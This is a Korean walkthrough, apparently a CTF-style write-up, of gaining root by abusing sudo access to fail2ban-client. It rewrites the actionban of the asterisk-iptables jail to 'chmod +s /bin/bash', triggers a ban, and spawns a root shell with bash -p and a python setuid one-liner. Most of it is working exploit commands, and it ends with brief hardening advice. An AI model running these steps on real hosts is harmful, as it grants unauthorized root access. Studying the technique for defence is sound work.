actionban 명령어를 root 권한으로 실행해 공격 IP를 차단하는 도구입니다.fail2ban-client 명령어는 root 권한으로 실행됩니다.asterisk)가 sudo fail2ban-client 권한이 있다면, 이 명령을 통해 Fail2ban 설정을 조작할 수 있습니다.actionban 명령을 악용해서, 차단 시 root 권한으로 임의 명령을 실행하도록 변경할 수 있습니다.sudo /usr/bin/fail2ban-client get asterisk-iptables actions
asterisk-iptables라는 jail에 연결된 액션 이름을 확인.iptables-allports-ASTERISK 액션이 할당됨.actionban 명령어 확인sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
원래 actionban 명령은 iptables 룰을 추가해서 IP 차단을 수행하는 명령:
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>
Fail2ban은 공격 IP를 발견하면 위 명령을 root 권한으로 실행해 해당 IP를 차단함.
actionban 명령어를 setuid 비트 설정 명령어로 변경sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
actionban 명령을 'chmod +s /bin/bash'로 변경./bin/bash에 setuid 비트가 설정됨.sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
'chmod +s /bin/bash'로 제대로 변경됐는지 확인./bin/bash 파일 권한 상태 확인ls -la /bin/bash
-rwxr-xr-x).sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
actionban 명령인 'chmod +s /bin/bash'가 root 권한으로 실행됨./bin/bash 권한 확인ls -la /bin/bash
-rwsr-sr-x로 setuid 비트가 설정됨./bin/bash 실행 시 파일 소유자인 root 권한으로 쉘이 실행된다는 의미./bin/bash -p
-p 옵션은 setuid 쉘 실행 시 권한 보존을 의미.asterisk가 root 권한 쉘을 획득.python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
id 명령으로 UID 0(root) 확인.wc -c /root/root.txt
actionban)를 임의 명령으로 바꿈./bin/bash에 setuid 비트를 설정하는 chmod +s /bin/bash.chmod +s /bin/bash 실행 → 일반 사용자가 root 권한 쉘 획득 가능.actionban 명령어를 실행.fail2ban-client에 불필요한 sudo 권한을 주면 안 됨.chmod +s /bin/bash 같은 setuid 쉘 설정은 심각한 보안 취약점임.